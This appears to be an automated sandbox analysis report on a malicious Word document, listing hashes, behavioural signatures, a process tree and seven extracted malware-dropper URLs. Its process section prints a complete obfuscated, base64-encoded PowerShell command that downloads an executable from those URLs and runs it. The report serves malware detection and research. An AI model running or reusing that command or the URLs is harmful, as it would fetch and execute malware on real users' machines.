Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    28/09/2024, 00:45

General

  • Target

    fb31bb296bf3fb445eedb3a3b20c0ccb_JaffaCakes118.doc

  • Size

    163KB

  • MD5

    fb31bb296bf3fb445eedb3a3b20c0ccb

  • SHA1

    bf4e7859d580343199ced54147fa57faf1c0a253

  • SHA256

    ace46d2110313599b081c85c401a092182633a33621e529365657305eac4c094

  • SHA512

    0ea212fc048c4c7c5cce74a513c7db334424c7648adf68b8a5a777da836a2fec9e58673a1132765807723c32c20109ca0fec4c94294d4b5367ffa6f6f80042ac

  • SSDEEP

    1536:KPB445TEgrO3jSWAg83tle1ZZ0293QM0eetR2cOupLB5UZ5J+a9mluNGGdywlVe:KP22TWTogk079THcpOu5UZ0luNTdTVe

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://vuatritue.com/wp-admin/w/

exe.dropper

http://castlestudios.com/bots/7/

exe.dropper

https://www.afriqueindustries-sa.com/ootqgtbgutgqkxfq/dS9/

exe.dropper

http://brandstrumpet-001-site1.ctempurl.com/default/lnD/

exe.dropper

http://oneinsix.com/test/u/

exe.dropper

http://livefarma.com/wp-content/hpu/

exe.dropper

http://datawyse.net/cgi-bin/8/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fb31bb296bf3fb445eedb3a3b20c0ccb_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2404
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2828
    • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
      POWeRsHeLL -ENCOD JABIAGkAagBxAGYAZAB4AD0AKAAnAFEAcQAnACsAKAAnAGMAdAAyACcAKwAnAGwAJwApACsAJwB6ACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdQBTAGUAUgBwAHIAbwBGAGkAbABFAFwAYQAwAHgAVwBuAG4ANwBcAEIASwA3AEIAQwBGAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAFUAUgBJAGAAVABgAFkAYABQAHIAbwB0AGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACwAJwArACgAJwAgACcAKwAnAHQAbAAnACkAKwAoACcAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQApADsAJABLADYAYwB5AHkAOQBuACAAPQAgACgAKAAnAEwAJwArACcAagAzACcAKQArACgAJwBmAGYAJwArACcAegAnACkAKQA7ACQAVwA4ADYAXwAwAHUAZwA9ACgAKAAnAEcAdQAnACsAJwB2AG8AJwApACsAKAAnAHEAJwArACcAeQA5ACcAKQApADsAJABGADMAMwBhAGkAcABoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAFEAJwArACgAJwA1ADgAJwArACcAQQAnACkAKwAoACcAMAAnACsAJwB4AHcAJwApACsAKAAnAG4AbgAnACsAJwA3ACcAKQArACgAJwBRADUAOAAnACsAJwBCAGsANwBiACcAKQArACgAJwBjAGYAawBRADUAJwArACcAOAAnACkAKQAuACIAUgBFAFAAYABMAGEAYwBlACIAKAAoACcAUQA1ACcAKwAnADgAJwApACwAWwBzAFQAcgBpAG4AZwBdAFsAYwBoAGEAcgBdADkAMgApACkAKwAkAEsANgBjAHkAeQA5AG4AKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABZAGwAcgBfADkAbABtAD0AKAAnAFQAJwArACgAJwB2ADEAJwArACcAdwA0AG4AJwApACsAJwBmACcAKQA7ACQARwB2ADgAcgBoADgAZQA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAGUAQgBjAGwASQBFAE4AdAA7ACQAUAA2ADQAcgBvADQAMAA9ACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AdgB1AGEAJwArACcAdAByAGkAdAAnACkAKwAoACcAdQAnACsAJwBlAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AYQAnACkAKwAoACcAZABtAGkAbgAnACsAJwAvAHcAJwArACcALwAnACkAKwAoACcAKgBoAHQAJwArACcAdABwADoAJwApACsAKAAnAC8ALwBjAGEAcwAnACsAJwB0AGwAZQBzACcAKQArACgAJwB0AHUAZABpACcAKwAnAG8AcwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAnAC8AJwArACgAJwBiAG8AJwArACcAdABzAC8ANwAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwAHMAJwArACcAOgAnACsAKAAnAC8ALwB3AHcAJwArACcAdwAnACsAJwAuAGEAJwApACsAKAAnAGYAcgAnACsAJwBpAHEAJwApACsAKAAnAHUAZQAnACsAJwBpAG4AZAAnACkAKwAoACcAdQAnACsAJwBzAHQAcgAnACsAJwBpAGUAcwAnACkAKwAnAC0AJwArACgAJwBzAGEALgAnACsAJwBjACcAKwAnAG8AbQAvACcAKwAnAG8AbwB0AHEAZwB0ACcAKQArACcAYgAnACsAKAAnAGcAJwArACcAdQB0AGcAJwApACsAJwBxAGsAJwArACcAeAAnACsAKAAnAGYAcQAvAGQAUwAnACsAJwA5ACcAKQArACgAJwAvACoAJwArACcAaAB0AHQAcAA6AC8ALwBiACcAKwAnAHIAYQBuAGQAJwArACcAcwB0ACcAKQArACgAJwByAHUAJwArACcAbQBwAGUAdAAnACsAJwAtACcAKQArACgAJwAwADAAJwArACcAMQAnACkAKwAoACcALQBzAGkAJwArACcAdAAnACkAKwAnAGUAJwArACgAJwAxACcAKwAnAC4AJwArACcAYwB0AGUAbQBwAHUAJwApACsAKAAnAHIAbAAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvACcAKQArACgAJwBkACcAKwAnAGUAZgBhAHUAbAAnACsAJwB0AC8AJwArACcAbABuACcAKwAnAEQALwAqAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAvACcAKwAnAG8AbgBlAGkAJwArACcAbgAnACkAKwAoACcAcwBpAHgALgBjAG8AbQAvAHQAJwArACcAZQAnACsAJwBzAHQAJwApACsAKAAnAC8AJwArACcAdQAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAaQB2ACcAKwAnAGUAZgBhAHIAbQAnACkAKwAoACcAYQAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAvAHcAJwArACcAcAAtACcAKQArACgAJwBjAG8AbgB0AGUAJwArACcAbgB0AC8AaAAnACsAJwBwAHUALwAqAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AZABhACcAKQArACgAJwB0AGEAdwB5AHMAJwArACcAZQAuACcAKQArACgAJwBuACcAKwAnAGUAdAAvACcAKQArACgAJwBjAGcAJwArACcAaQAtAGIAaQBuAC8AOAAnACsAJwAvACcAKQApAC4AIgBzAHAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAAOQBwAHQAawBlAHoAPQAoACcATQBmACcAKwAnADQAXwAnACsAKAAnAGYAOAAnACsAJwBqACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgA0AGkANABkADMAbAAgAGkAbgAgACQAUAA2ADQAcgBvADQAMAApAHsAdAByAHkAewAkAEcAdgA4AHIAaAA4AGUALgAiAEQAbwB3AGAATgBMAG8AYQBkAGAARgBpAEwARQAiACgAJABCADQAaQA0AGQAMwBsACwAIAAkAEYAMwAzAGEAaQBwAGgAKQA7ACQATQBxADYANQB5ADEAbgA9ACgAKAAnAE8AegBpACcAKwAnAG4ANgAnACkAKwAnAHUAcwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQARgAzADMAYQBpAHAAaAApAC4AIgBsAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADMANwA5ADkAMwApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABGADMAMwBhAGkAcABoACkAOwAkAEcANABzAGoAcAB1ADQAPQAoACcAVwAnACsAKAAnAHQANABzACcAKwAnAG4AYQAnACsAJwA1ACcAKQApADsAYgByAGUAYQBrADsAJABGAGUAbQB0AGwAeQA3AD0AKAAnAFcAMAAnACsAKAAnAHYAJwArACcANwBtACcAKQArACcAMwA4ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWAB1ADgAZAAyAGkAYwA9ACgAJwBCAGgAJwArACgAJwA0ACcAKwAnAGgAdQAnACkAKwAnAGIAaQAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2864

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      2618517b8250103bd096eb971405716f

      SHA1

      6efeb8c95fb6a612c8c7139a67ad70ff211ef60a

      SHA256

      864fdea09ccc71d6b647ee18280b801bff90c1acf66c0680ddad588bdead0a8c

      SHA512

      9042300dc175689ee4d7875036f799ffdb0b22322971353ad4397521082dc76ed721906ea031278de68949862c88e398ac239bb426c1c170b0b59c4ddb4bb9c7

    • memory/2404-31-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-13-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-5-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-6-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-7-0x0000000005D40000-0x0000000005E40000-memory.dmp

      Filesize

      1024KB

    • memory/2404-9-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-10-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-8-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-19-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-20-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-21-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-18-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-17-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-16-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-15-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-14-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-0-0x000000002F971000-0x000000002F972000-memory.dmp

      Filesize

      4KB

    • memory/2404-12-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-2-0x000000007147D000-0x0000000071488000-memory.dmp

      Filesize

      44KB

    • memory/2404-26-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-27-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-29-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-28-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-30-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-25-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-32-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-24-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-23-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-22-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-11-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-60-0x000000007147D000-0x0000000071488000-memory.dmp

      Filesize

      44KB

    • memory/2404-59-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2404-40-0x000000007147D000-0x0000000071488000-memory.dmp

      Filesize

      44KB

    • memory/2404-41-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-42-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-43-0x00000000005B0000-0x00000000006B0000-memory.dmp

      Filesize

      1024KB

    • memory/2404-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2864-39-0x0000000002810000-0x0000000002818000-memory.dmp

      Filesize

      32KB

    • memory/2864-38-0x000000001B690000-0x000000001B972000-memory.dmp

      Filesize

      2.9MB